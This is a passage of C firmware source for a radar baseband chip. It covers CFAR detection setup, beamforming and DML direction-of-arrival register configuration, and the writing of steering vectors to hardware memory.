EMBARC_PRINTF(" *(uint32_t *)0x%x = 0x%x; \n\r", (uint32_t)reg_addr, tmp_val);
chip_hw_mdelay(3);
}
#endif
}
static void baseband_cfar_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BB_WRITE_REG(bb_hw, CFR_SIZE_OBJ, MAX_CFAR_OBJS - 1 );
/* The layout of SYS_MEM_ACT_COE is: CFR_MIMO_CombCoe, DBPM, DoASV */
/* ::todo check initalization of CFG_CFR_MIMO_ADR CFG_DOA_DBPM_ADR CFG_DOA_GRPx_ADR_COE */
BB_WRITE_REG(bb_hw, CFR_MIMO_ADR, 0);
/* CFAR detection backoff */
BB_WRITE_REG(bb_hw, CFR_BACK_RNG, 1);
uint32_t nchan = DOA_MAX_NUM_RX * cfg->nvarray;
gen_tx_order(bb_hw, cfg->tx_groups, cfg->nvarray, cfg->bpm_mode, tx_order);
/* combination */
if (cfg->cfar_combine_dirs == 0) {
/* SISO-CFAR */
BB_WRITE_REG(bb_hw, CFR_TYPE_CMB, 0);
BB_WRITE_REG(bb_hw, CFR_MIMO_NUM, 1 - 1);
} else {
/* programming mimo-combine */
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_COE);
BB_WRITE_REG(bb_hw, CFR_TYPE_CMB, 1);
BB_WRITE_REG(bb_hw, CFR_MIMO_NUM, cfg->cfar_combine_dirs - 1);
gen_window(cfg->cfar_mimo_win, nchan, cfg->cfar_mimo_win_params[0], cfg->cfar_mimo_win_params[1], cfg->cfar_mimo_win_params[2]);
float win[MAX_ANT_ARRAY_SIZE];
uint32_t w = 0;
for(w = 0; w < nchan; w++) {
win[w] = get_win_coeff_float(w);
}
/* for alpsMP, cfar combine coe put ahead of others in SYS_MEM_ACT_COE */
/* Bug 656: when velamb feature is enabled, the memory of sv for mimo-cfar should be shifted by 16 bytes. */
uint32_t vec_base_offset = cfg->anti_velamb_en ? 0x10 >> 2 : 0;
uint32_t d = 0;
uint32_t ch = 0;
uint8_t ant_idx[MAX_ANT_ARRAY_SIZE] = {0};
tx_group_mux(tx_order, cfg->nvarray, ant_idx);
for(d = 0; d < cfg->cfar_combine_dirs; d++) {
complex_t tmp_vec[MAX_ANT_ARRAY_SIZE];
gen_steering_vec2(tmp_vec, win, ant_pos, ant_comp_phase, nchan,
cfg->cfar_combine_thetas[d] * DEG2RAD, cfg->cfar_combine_phis[d] * DEG2RAD, 't', cfg->bpm_mode, true, ant_idx);
for (int v = 0; v < cfg->nvarray; v++) {
for (ch = 0; ch < DOA_MAX_NUM_RX; ch++)
baseband_write_mem_table(bb_hw, vec_base_offset + d * cfg->nvarray * DOA_MAX_NUM_RX + v * DOA_MAX_NUM_RX + ch, complex_to_cfx(&tmp_vec[v * DOA_MAX_NUM_RX + ch], 14, 1, true));
}
}
baseband_switch_mem_access(bb_hw, old);
}
/* RDM Region Partition */
/* range */
for (int idx = 0; idx < sizeof(cfg->cfar_region_sep_rng) / sizeof(cfg->cfar_region_sep_rng[0]); idx++) {
baseband_write_reg(bb_hw,
(uint32_t)(((uint32_t *)BB_REG_CFR_PRT_RNG_00) + idx),
cfg->cfar_region_sep_rng[idx]);
}
/* velocity */
for (int idx = 0; idx < sizeof(cfg->cfar_region_sep_vel) / sizeof(cfg->cfar_region_sep_vel[0]); idx++) {
baseband_write_reg(bb_hw,
(uint32_t)(((uint32_t *)BB_REG_CFR_PRT_VEL_00) + idx),
cfg->cfar_region_sep_vel[idx]);
}
/* Sliding Window, it is NOT region dependent */
BB_WRITE_REG(bb_hw, CFR_CS_ENA, cfg->cfar_sliding_win);
if (cfg->cfar_sliding_win == 0) {
uint32_t buf[4];
uint32_t * Msk_reg_addr[CFAR_MAX_GRP_NUM] = {(uint32_t *)BB_REG_CFR_MSK_DS_70, (uint32_t *)BB_REG_CFR_MSK_DS_60,
(uint32_t *)BB_REG_CFR_MSK_DS_50, (uint32_t *)BB_REG_CFR_MSK_DS_40,
(uint32_t *)BB_REG_CFR_MSK_DS_30, (uint32_t *)BB_REG_CFR_MSK_DS_20,
(uint32_t *)BB_REG_CFR_MSK_DS_10, (uint32_t *)BB_REG_CFR_MSK_DS_00};
/* retangle window */
for (uint32_t grp_idx = 0; grp_idx < CFAR_MAX_GRP_NUM; grp_idx++) {
/* initializing buf[4] */
uint32_t* cfg_grp_p = &(cfg->cfar_recwin_msk[grp_idx * CFAR_MAX_RECWIN_MSK_LEN_PERGRP]);
/* initializing retangle window mask */
init_cfar_msk_per_grp(buf, cfg_grp_p);
for (uint32_t reg_idx = 0; reg_idx < 4; reg_idx++) {
baseband_write_reg(bb_hw, (uint32_t)(Msk_reg_addr[grp_idx] + reg_idx), buf[reg_idx]);
}
}
/* decimating scheme for retangle window */
BB_WRITE_REG(bb_hw, CFR_TYP_DS, cfg->cfar_recwin_decimate);
} else {
BB_WRITE_REG(bb_hw, CFR_CS_SIZ_RNG, cfg->cfar_crswin_rng_size);
BB_WRITE_REG(bb_hw, CFR_CS_SIZ_VEL, cfg->cfar_crswin_vel_size);
BB_WRITE_REG(bb_hw, CFR_CS_SKP_RNG, cfg->cfar_crswin_rng_skip);
BB_WRITE_REG(bb_hw, CFR_CS_SKP_VEL, cfg->cfar_crswin_vel_skip);
}
/* Peak Detector enabler */
BB_WRITE_REG(bb_hw, CFR_PK_ENB, cfg->cfar_pk_en);
/* Peak Detector mask */
uint32_t * pk_msk_offset = (uint32_t *)BB_REG_CFR_MSK_PK_00;
uint32_t * pk_thr_offset = (uint32_t *)BB_REG_CFR_PK_THR_0;
for (uint32_t grp_idx = 0; grp_idx < CFAR_MAX_GRP_NUM; grp_idx++) {
/* make it more readable */
uint32_t msk = 0;
int32_t win1_sz = cfg->cfar_pk_win_size1[CFAR_MAX_GRP_NUM - grp_idx - 1];
int32_t win2_sz = cfg->cfar_pk_win_size2[CFAR_MAX_GRP_NUM - grp_idx - 1];
win1_sz = (win1_sz == 1) ? 0 : (win1_sz == 3) ? 1 : (win1_sz == 5) ? 2 : -1;
win2_sz = (win2_sz == 1) ? 0 : (win2_sz == 3) ? 1 : (win2_sz == 5) ? 2 : -1;
if (win1_sz >= 0 && win2_sz >= 0)
msk = CFAR_pk_msk[win1_sz][win2_sz];
baseband_write_reg(bb_hw, (uint32_t)(pk_msk_offset + grp_idx), msk);
baseband_write_reg(bb_hw, (uint32_t)(pk_thr_offset + grp_idx), cfg->cfar_pk_threshold[CFAR_MAX_GRP_NUM - grp_idx - 1]);
}
/* CFAR Parameter Space Management */
BB_WRITE_REG(bb_hw, CFR_TYP_AL, cfg->cfar_region_algo_type);
uint32_t * prameter_reg_addr[] = {(uint32_t *)BB_REG_CFR_PRM_0_0, (uint32_t *)BB_REG_CFR_PRM_1_0, (uint32_t *)BB_REG_CFR_PRM_2_0,
(uint32_t *)BB_REG_CFR_PRM_3_0, (uint32_t *)BB_REG_CFR_PRM_4_0, (uint32_t *)BB_REG_CFR_PRM_5_0,
(uint32_t *)BB_REG_CFR_PRM_6_0, (uint32_t *)BB_REG_CFR_PRM_7_0};
/* clear all CFAR parameter registers, so that it can be |= without impact of previous value */
memset((void *)BB_REG_CFR_PRM_0_0, 0, (BB_REG_CFR_MSK_DS_00 - BB_REG_CFR_PRM_0_0));
/* parameter length in bits */
uint32_t param_len[7] = {7, 10, 10, 12, 7, 7, 12};
for (uint32_t grp_idx = 0; grp_idx < CFAR_MAX_GRP_NUM; grp_idx++) {
uint32_t cfar_type = (cfg->cfar_region_algo_type >> (grp_idx * 2)) & 0x3;
uint32_t prm_idx;
switch (cfar_type) {
case 0: /* CA-CFAR */
prm_idx = 0;
/* Number of maximum to remove before averaging */
uint32_t ca_n = cfg->cfar_ca_n[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, ca_n, grp_idx);
/* Scalar of CUT power before comparing */
prm_idx++;
uint32_t ca_alpha = float_to_fl(1.0 / cfg->cfar_ca_alpha[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, ca_alpha, grp_idx);
break;
case 1: /* OS-CFAR */
prm_idx = 0;
/* The preselected rank threshold */
uint32_t tdec = cfg->cfar_os_tdec[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, tdec, grp_idx);
/* The scalar of CUT's power before ranking */
prm_idx++;
uint32_t os_alpha = float_to_fl(1.0 / cfg->cfar_os_alpha[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, os_alpha, grp_idx);
/* Rank Selector: The mux control to select the final source of rank threshold */
prm_idx++;
uint32_t rnk_sel = cfg->cfar_os_rnk_sel[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, rnk_sel, grp_idx);
/* The scalar of related rank */
prm_idx++;
uint32_t rnk_ratio = float_to_fx(cfg->cfar_os_rnk_ratio[grp_idx], 12, 0, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, rnk_ratio, grp_idx);
break;
case 2: /* SOGO-CFAR */
prm_idx = 0;
/* The i-th smallest over the averages from the selected sides */
uint32_t sogo_i = cfg->cfar_sogo_i[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, sogo_i, grp_idx);
/* The scalar of CUT's power before comparison */
prm_idx++;
uint32_t sogo_alpha = float_to_fl(1.0 / cfg->cfar_sogo_alpha[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, sogo_alpha, grp_idx);
/* The mask control to select the sides of the cross window */
prm_idx++;
uint32_t sogo_mask = cfg->cfar_sogo_mask[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, sogo_mask, grp_idx);
break;
case 3: /* NR-CFAR */
/* Select output from one of three sub-schemes */
prm_idx = 0; /* CFG_CFR_PRM_0 */
uint32_t nr_scheme_sel = cfg->cfar_nr_scheme_sel[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_scheme_sel, grp_idx);
/* Scalar of power of CUT before comparison or ranking */
prm_idx++; /* CFG_CFR_PRM_1 */
uint32_t nr_alpha = float_to_fl(1.0 / cfg->cfar_nr_alpha[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_alpha, grp_idx);
/* Lower bound scalar in construction of set of reference powers */
prm_idx++; /* CFG_CFR_PRM_2 */
uint32_t nr_beita1 = float_to_fl(cfg->cfar_nr_beta1[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_beita1, grp_idx);
/* Upper bound scalar in construction of set of reference powers */
prm_idx++; /* CFG_CFR_PRM_3 */
uint32_t nr_beita2 = float_to_fl(cfg->cfar_nr_beta2[grp_idx], 6, 6, false, 4, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_beita2, grp_idx);
/* CFG_CFR_PRM_4 is skipped */
/* Pre-programmed rank threshold for Scheme 2 */
prm_idx = 5; /* CFG_CFR_PRM_5 */
uint32_t nr_tdec = cfg->cfar_nr_tdec[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_tdec, grp_idx);
/* The scalar of related rank */
prm_idx++; /* CFG_CFR_PRM_6 */
uint32_t nr_rnk_ratio = float_to_fx(cfg->cfar_nr_rnk_ratio[grp_idx], 12, 0, false);
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_rnk_ratio, grp_idx);
/* The mux control to select the final source of rank threshold in Scheme 2 */
prm_idx++; /* CFG_CFR_PRM_7 */
uint32_t nr_rnk_sel = cfg->cfar_nr_rnk_sel[grp_idx];
set_prm_from_val(prameter_reg_addr, param_len, prm_idx, nr_rnk_sel, grp_idx);
break;
default:
/* something is wrong */
break;
}
}
/* 8 region noise level output select register */
BB_WRITE_REG(bb_hw, CFR_TYP_NOI, cfg->cfar_noise_type);
}
static uint8_t get_sum_idx_from_mux(uint32_t mask, uint8_t *p_rx_idx)
{
uint8_t cnt = 0;
for (int i = 0; i < 32; i++) {
p_rx_idx[i] = 0;
if ((mask >> i) & 0x1) {
p_rx_idx[cnt] = i;
cnt++;
}
}
#ifdef CHIP_CASCADE
for (int i = 0; i < cnt; i++) {
if(p_rx_idx[i]%DOA_MAX_NUM_RX < MAX_NUM_RX) //master chirp data
p_rx_idx[i] = (p_rx_idx[i]/DOA_MAX_NUM_RX) * MAX_NUM_RX + p_rx_idx[i]%MAX_NUM_RX;
else //slave chirp data
p_rx_idx[i] = MAX_ANT_ARRAY_SIZE_SC + (p_rx_idx[i]/DOA_MAX_NUM_RX) * MAX_NUM_RX + p_rx_idx[i]%MAX_NUM_RX;
}
#endif
return cnt;
}
static void get_reg_from_idx(uint8_t *p_rx_idx, uint32_t reg_value[])
{
for (int i = 0; i < 8; i++)
reg_value[i] = (p_rx_idx[4*i + 0] << (3 * BFM_ANT_IDX_BW)) | (p_rx_idx[4*i + 1] << (2 * BFM_ANT_IDX_BW)) | (p_rx_idx[4*i + 2] << BFM_ANT_IDX_BW) | p_rx_idx[4*i + 3];
}
static uint8_t mux_map_antidx(uint32_t mask, uint32_t reg_value[])
{
uint8_t cnt = 0;
uint8_t antidx[32];
cnt = get_sum_idx_from_mux(mask, antidx);
get_reg_from_idx(antidx, reg_value);
return cnt;
}
static int group_map_tx_ant(int group, int32_t *tx_groups)
{
for(int t = 0; t < MAX_NUM_TX; t++) {
if (tx_groups[t] == group)
return t;
}
return 0;
}
static uint8_t gen_ant_idx(uint32_t fft_mux, int32_t *tx_groups, uint8_t rx_ant_idx[])
{
uint8_t cnt = 0; /*output the size of steering vector*/
for(int i = 0; i < 32; i++) {
if ((fft_mux >> i) & 0x1) {
int grp = i / DOA_MAX_NUM_RX + 1;
int idx = i % DOA_MAX_NUM_RX;
int tx_ant_idx = group_map_tx_ant(grp, tx_groups);
rx_ant_idx[cnt] = tx_ant_idx * DOA_MAX_NUM_RX + idx;
cnt = cnt + 1;
}
}
return cnt;
}
static void baseband_dbf_init(baseband_hw_t *bb_hw, int cfg_grp_num)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t dbf_grp_base_adr = BB_REG_DOA_GRP0_MOD_SCH;
uint32_t dbf_grp_adr = 0;
//configure dbf mode
int mode = 0;
if (cfg->bfm_iter_search) {
if (cfg->bfm_mode == 0)
mode = 3; //itr peaks -> IPM
else
mode = 4; //itr omp -> OMP
} else {
if (cfg->bfm_mode == 0)
mode = 1; //raw peaks -> Non IPM
else
mode = 2; //raw omp
}
for (int g = 0; g < cfg_grp_num; g++) {
dbf_grp_adr = dbf_grp_base_adr + g * GRP_ADDRESS_OFFSET;
/*write REG MOD_SCH*/
baseband_write_reg(bb_hw, dbf_grp_adr, mode);
dbf_grp_adr = dbf_grp_adr + 0x14; //Fix me later magic number 0x14
/*write REG SIZ_STP_PKS_CRS*/
baseband_write_reg(bb_hw, dbf_grp_adr, cfg->bfm_raw_search_step - 1);
dbf_grp_adr = dbf_grp_adr + 0x4;
/*write REG SIZ_RNG_PKS_RFD*/
baseband_write_reg(bb_hw, dbf_grp_adr, cfg->bfm_fine_search_range);
dbf_grp_adr = dbf_grp_adr + 0x2C; //Fix me later magic number 0x2C
/*write REG THR_SNR_0*/
baseband_write_reg(bb_hw, dbf_grp_adr, cfg->bfm_snr_thres[0]);
dbf_grp_adr = dbf_grp_adr + 0x4;
/*write REG THR_SNR_1*/
baseband_write_reg(bb_hw, dbf_grp_adr, cfg->bfm_snr_thres[1]);
dbf_grp_adr = dbf_grp_adr + 0x4;
/*write REG SCL_POW*/
baseband_write_reg(bb_hw, dbf_grp_adr, float_to_fl(cfg->bfm_peak_scalar[g], 6, 6, false, 4, false));
dbf_grp_adr = dbf_grp_adr + 0x4;
/*write REG SCL_NOI_y*/
for (int j = 0; j < 3; j++){
baseband_write_reg(bb_hw, dbf_grp_adr, float_to_fl(cfg->bfm_noise_level_scalar[j], 6, 6, false, 4, false));
dbf_grp_adr = dbf_grp_adr + 0x4;
}
}
}
static void baseband_dml_init(baseband_hw_t *bb_hw, int cfg_grp_num)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint32_t dml_adr_offset;
for (int g = 0; g < cfg_grp_num; g++) {
uint32_t dml_grp_base_adr = (g == 0) ? BB_REG_DML_GRP0_SV_STP : BB_REG_DML_GRP1_SV_STP;
/* BB_REG_DML_GRPx_SV_STP */
dml_adr_offset = 0;
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, cfg->dml_2dsch_step[g]);
/* BB_REG_DML_GRPx_SV_START */
dml_adr_offset = BB_REG_DML_GRP0_SV_START - BB_REG_DML_GRP0_SV_STP;
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, cfg->dml_2dsch_start[g]);
/* BB_REG_DML_GRPx_SV_END */
dml_adr_offset = BB_REG_DML_GRP0_SV_END - BB_REG_DML_GRP0_SV_STP;
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, cfg->dml_2dsch_end[g]);
/* BB_REG_DML_GRPx_DC_COE_0 ~ BB_REG_DML_GRPx_DC_COE_4 */
dml_adr_offset = BB_REG_DML_GRP0_DC_COE_0 - BB_REG_DML_GRP0_SV_STP;
for (int idx = 0; idx < 5; idx++) {
/* there are 5 coefficients for a group */
baseband_write_reg(bb_hw,
dml_adr_offset + dml_grp_base_adr,
float_to_fx(cfg->dml_respwr_coef[g * 5 + idx], 14, 1, true));
/* each coefficient occupies 4 bytes memory */
dml_adr_offset += 4;
}
/* BB_REG_DML_GRPx_EXTRA_EN */
dml_adr_offset = BB_REG_DML_GRP0_EXTRA_EN - BB_REG_DML_GRP0_SV_STP;
if (cfg->doa_max_obj_per_bin[g] == 2)
/* RTL restriction: if the output object number for dml is 2, BB_REG_DML_GRP0_EXTRA_EN should be set as 0 */
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, 0);
else
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, cfg->dml_extra_1d_en[g]);
/* BB_REG_DML_GRPx_DC_COE_2_EN */
dml_adr_offset = BB_REG_DML_GRP0_DC_COE_2_EN - BB_REG_DML_GRP0_SV_STP;
baseband_write_reg(bb_hw, dml_adr_offset + dml_grp_base_adr, cfg->dml_p1p2_en[g]);
}
BB_WRITE_REG(bb_hw, DML_MEM_BASE_ADR, (cfg->doa_npoint[0] - 1));
/* initial d,k */
uint32_t bank_idx = bb_hw->frame_type_id;
uint32_t bank_offset = bank_idx * 0x800;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_DML);
for (int g = 0; g < cfg_grp_num; g++) {
uint32_t nchan = MAX_ANT_ARRAY_SIZE;
uint8_t ant_idx[MAX_ANT_ARRAY_SIZE] = {0};
nchan = gen_ant_idx(cfg->doa_fft_mux[g], tx_order, ant_idx);
int32_t dnum = cfg->doa_npoint[g] - 1;
/* each dk pair occupies 8 bytes memory, and the offset is in unit of dwords,
for group1, the offset starts from 8/length(dwords) = 2 times number of dk in group0.
the number of dk for group i is doa_npoint[i] minus 1 */
uint32_t dk_offset = g == 0 ? 0 : 2 * (cfg->doa_npoint[0] - 1);
float sin_l = sin((g == 0 ? cfg->bfm_az_left : cfg->bfm_ev_down) * DEG2RAD);
float sin_r = sin((g == 0 ? cfg->bfm_az_right : cfg->bfm_ev_up) * DEG2RAD);
float sin_step = (sin_r - sin_l) / (cfg->doa_npoint[g]);
for (int idx = 0; idx < dnum; idx++) {
complex_t d;
d.r = 0.0;
d.i = 0.0;
uint32_t c = 0;
for(int ch = 0; ch < nchan; ch++) {
//if ((ant_mux>>ch) & 0x1) { /*ant_mux has beed removed*/
float tw = (g == 0 ? cfg->ant_pos[ant_idx[ch]].x : cfg->ant_pos[ant_idx[ch]].y) * sin_step * (idx + 1);
complex_t tmp = expj(-2 * M_PI * tw);
cadd(&tmp, &d, &d);
c++;
//}
}
uint64_t u64_data_d = complex_to_cfl_dwords(&d, 18, 1, true, 5, true);
uint32_t step = cfg->dml_2dsch_step[g];
float g_i = 1.0;
if (idx < (step << 1)) {
/* suppressing cost function of two angles closing each other */
g_i = DMLKINITCOEF + (1 - DMLKINITCOEF) * idx / (step << 1);
}
float k = g_i / (c * c - mag_sqr(&d));
/* the format of k is FLR(18,1,U,5,S) */
uint64_t u64_data_k = float_to_fl(k, 18, 1, false, 5, true);
/* K occupies lower 18+5 bits (length of K is 18+5=23 bits)
of 8 bytes memory while the upper part is occupied by d */
uint64_t dk = u64_data_k | u64_data_d << (18 + 5);
uint64_t msk = ((uint64_t)1 << 32) - 1;
/* the lower 32bits of dk */
baseband_write_mem_table(bb_hw, bank_offset + dk_offset + idx * 2, (uint32_t)(dk & msk));
/* the upper 32bits of dk */
baseband_write_mem_table(bb_hw, bank_offset + dk_offset + idx * 2 + 1, (uint32_t)((dk >> 32) & msk));
}
}
baseband_switch_mem_access(bb_hw, old);
}
static void gen_angle(int g_idx, uint32_t d, double delta_az, double delta_ev, double az_begin, double ev_begin, double *p_a, double *p_b)
{
if ( g_idx == 0 ) {
*p_a = d * delta_az + az_begin;
*p_b = 0;
} else if ( g_idx == 1 ) {
*p_a = 0;
*p_b = d * delta_ev + ev_begin;
} else {
*p_a = d * delta_az + az_begin;
*p_b = d * delta_ev + ev_begin;
}
}
static void write_steering_vec(baseband_hw_t *bb_hw, int num_chan, uint32_t addr_coe, uint32_t d, complex_t *vec)
{
int ch = 0;
int mem_size = ((num_chan + 3)/4)*4;
int loop = 0;
//write memory for group which comb_num is inter size of MAX_NUM_RX part
for (loop = 0; loop < (num_chan/MAX_NUM_RX); loop++){
for (ch = 0; ch < MAX_NUM_RX; ch++) {
baseband_write_mem_table(bb_hw, addr_coe + d * mem_size + loop * MAX_NUM_RX + ch, complex_to_cfx(&vec[loop*MAX_NUM_RX+ch], 14, 1, true));
}
}
//write memory for group which comb_num is less than MAX_NUM_RX part
if (num_chan % MAX_NUM_RX) {
for (ch = 0; ch < (num_chan % MAX_NUM_RX); ch++) {
baseband_write_mem_table(bb_hw, addr_coe + d * mem_size + loop * MAX_NUM_RX + ch, complex_to_cfx(&vec[loop*MAX_NUM_RX+ch], 14, 1, true));
}
int j = 0;
for (int dummy = (num_chan % MAX_NUM_RX); dummy < MAX_NUM_RX; dummy++) {
baseband_write_mem_table(bb_hw, addr_coe + d * mem_size + num_chan + j, 0x0);
j++;
}
}
}
static void gen_siginfo_c2d(baseband_hw_t *bb_hw, uint8_t rx_num[], uint8_t *p_size_v, uint32_t grp0_rx_idx[], uint8_t rx_idx_ele[])
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
uint8_t rx_idx_combined_2d_g0[32] = {0}; //for configuration of DATA_IDX_GRP0 of combined mode
uint8_t rx_idx_combined_2d_g1[4] = {0, 0, 0, 0}; //for computing steering vector of group 1 of combined mode
uint8_t n = 0; //recordgen_si total channel number stored in DATA_IDX_GRP0
uint8_t rxnum_v = 0; //record signal number in vertical direction
for (int g = 0; g < 4; g++) {
uint8_t rx_idx_tmp[32];
rx_num[g] = get_sum_idx_from_mux(cfg->combined_doa_fft_mux[g], rx_idx_tmp);
if ( rx_num[g] > 0) {
rx_idx_combined_2d_g1[rxnum_v] = rx_idx_tmp[0];
#ifdef CHIP_CASCADE
/*rx_idx_tmp is arranged as master 0~15|slave 16~31,we think it is virtual array and it was used to configure REG DATA_IDX*/
/*rx_idx_combined_2d_g1 is arranged as master 0~3|slave4~7|we think it is physical array and it was used to computing steering vector of elevated direction*/
uint8_t phy_rx = rx_idx_tmp[0]<MAX_ANT_ARRAY_SIZE_SC ? rx_idx_tmp[0]: (rx_idx_tmp[0]-MAX_ANT_ARRAY_SIZE_SC);
uint8_t offset = rx_idx_tmp[0]<MAX_ANT_ARRAY_SIZE_SC ? 0: MAX_NUM_RX;
rx_idx_combined_2d_g1[rxnum_v] = (phy_rx/MAX_NUM_RX)*DOA_MAX_NUM_RX + phy_rx%MAX_NUM_RX + offset;
#endif
rxnum_v = rxnum_v + 1;
for (int j = 0; j < rx_num[g]; j++) {
rx_idx_combined_2d_g0[n] = rx_idx_tmp[j];
n = n + 1;
}
} else {
break;
}
}
get_reg_from_idx(rx_idx_combined_2d_g0, grp0_rx_idx);
cfg->doa_fft_mux[0] = cfg->combined_doa_fft_mux[0];
uint32_t mux_v = 0;
for (int i = 0; i < rxnum_v; i++) {
mux_v = mux_v + (1 << rx_idx_combined_2d_g1[i]);
rx_idx_ele[i] = rx_idx_combined_2d_g1[i]; /*for computing steering vector of group 1(elevated direction) of combined mode */
}
cfg->doa_fft_mux[1] = mux_v;
*p_size_v = rxnum_v;
}
static void read_steering_vec_from_flash(baseband_hw_t *bb_hw, uint32_t read_addr, int doa_ant_num, int angle_num, uint32_t write_addr_coe)
{
int32_t status;
uint8_t buff[128]; // maximal 32 words
int mem_size = ((doa_ant_num + 3)/4)*4; //number of words per angle
uint32_t length = mem_size * BYTES_PER_WORD;
int d = 0;
for (d = 0; d < angle_num; d++) {
status = flash_memory_read(read_addr + d * length, buff, length); //length: number of bytes
if (status != E_OK) {
EMBARC_PRINTF("Fail to read on-flash steering vector info!\n\r");
} else {
uint32_t *tmp = (uint32_t *)buff;
for (int cnt = 0; cnt < mem_size; cnt++)
baseband_write_mem_table(bb_hw, write_addr_coe + d * mem_size + cnt, tmp[cnt]);
}
}
}
static void baseband_doa_init(baseband_hw_t *bb_hw)
{
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
#ifdef CHIP_CASCADE
BB_WRITE_REG(bb_hw, DOA_MODE_RUN, 1);
#else
BB_WRITE_REG(bb_hw, DOA_MODE_RUN, 0);
#endif
BB_WRITE_REG(bb_hw, DOA_MODE_GRP, cfg->doa_mode);
int cfg_grp_num = 0;
if (cfg->doa_mode==2) { //single shot mode
BB_WRITE_REG(bb_hw, DOA_NUMB_GRP, cfg->bfm_group_idx);
BB_WRITE_REG(bb_hw, DOA_GRP0_TYP_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP1_TYP_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP2_TYP_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP0_MOD_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP1_MOD_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP2_MOD_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP0_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP1_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP2_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP0_NUM_SCH, 0xB);
BB_WRITE_REG(bb_hw, DOA_GRP1_NUM_SCH, 0xB);
BB_WRITE_REG(bb_hw, DOA_GRP2_NUM_SCH, 0xB);
cfg_grp_num = 3;
} else if (cfg->doa_mode==1) { //combined mode
BB_WRITE_REG(bb_hw, DOA_NUMB_GRP, 1);
BB_WRITE_REG(bb_hw, DOA_GRP0_TYP_SCH, cfg->doa_method);
BB_WRITE_REG(bb_hw, DOA_GRP1_TYP_SCH, cfg->doa_method);
cfg_grp_num = 2; //indicate the number of group registers need to be configured
if (cfg->doa_method == 0) {
baseband_dbf_init(bb_hw, cfg_grp_num); //config dbf related registers
} else {
baseband_dml_init(bb_hw, cfg_grp_num); //config dml related registers
BB_WRITE_REG(bb_hw, DOA_GRP0_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP1_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP0_MOD_SCH, 0x1); /* a dml restriction caused by RTL reusing implementation of dbf */
BB_WRITE_REG(bb_hw, DOA_GRP1_MOD_SCH, 0x1); /* a dml restriction caused by RTL reusing implementation of dbf */
}
BB_WRITE_REG(bb_hw, DOA_GRP0_NUM_SCH, cfg->doa_max_obj_per_bin[0]-1);
BB_WRITE_REG(bb_hw, DOA_GRP1_NUM_SCH, cfg->doa_max_obj_per_bin[1]-1);
} else {
BB_WRITE_REG(bb_hw, DOA_NUMB_GRP, cfg->doa_num_groups - 1);
if (cfg->doa_num_groups == 1) {
BB_WRITE_REG(bb_hw, DOA_GRP0_TYP_SCH, cfg->doa_method);
BB_WRITE_REG(bb_hw, DOA_GRP0_NUM_SCH, cfg->doa_max_obj_per_bin[0]-1);
cfg_grp_num = 1;
if (cfg->doa_method == 0) {
baseband_dbf_init(bb_hw, cfg_grp_num); //config dbf related registers
} else {
baseband_dml_init(bb_hw, cfg_grp_num); //config dml related registers
BB_WRITE_REG(bb_hw, DOA_GRP0_SIZ_STP_PKS_CRS, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP0_MOD_SCH, 0x1); /* a dml restriction caused by RTL reusing implementation of dbf */
}
} else {
BB_WRITE_REG(bb_hw, DOA_GRP0_TYP_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP1_TYP_SCH, 0x0);
BB_WRITE_REG(bb_hw, DOA_GRP2_TYP_SCH, 0x0);
cfg_grp_num = cfg->doa_num_groups;
baseband_dbf_init(bb_hw, cfg_grp_num);
BB_WRITE_REG(bb_hw, DOA_GRP0_NUM_SCH, cfg->doa_max_obj_per_bin[0]-1);
BB_WRITE_REG(bb_hw, DOA_GRP1_NUM_SCH, cfg->doa_max_obj_per_bin[1]-1);
